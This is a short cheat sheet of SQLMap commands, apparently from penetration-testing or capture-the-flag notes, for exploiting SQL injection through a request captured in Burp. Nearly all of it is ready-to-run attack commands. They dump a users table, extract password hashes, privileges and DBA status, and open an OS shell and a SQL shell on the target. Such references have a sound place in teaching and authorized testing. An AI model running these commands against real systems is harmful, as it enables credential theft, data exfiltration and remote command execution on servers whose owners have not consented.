SQLMap is an automated SQL injection tool that helps identify and exploit SQL injection vulnerabilities in web applications. The following commands demonstrate how to extract databases, tables, and credentials, as well as gain shell access through SQL injection.
Command Reference:
-r: file with the request (from Burp)
-p: vulnerable parameter
-D: database name
-T: table name
--dump: action to be performed
sqlmap -r request_login.txt -p uname --risk=3 --level 5 -D music -T users --dump
sqlmap -r request_login.txt -p song --risk 3 --level 5 --current-user
sqlmap -r request_login.txt -p song --risk 3 --level 5 --is-dba
sqlmap -r request_login.txt -p song --risk 3 --level 5 --hostname
sqlmap -r request_login.txt -p song --risk 3 --level 5 --passwords
sqlmap -r request_login.txt -p song --risk 3 --level 5 --privileges
sqlmap -r request_login.txt -p song --risk 3 --level 5 --os-shell
sqlmap -r search.txt -p artist --risk 3 --level 5 --sql-shell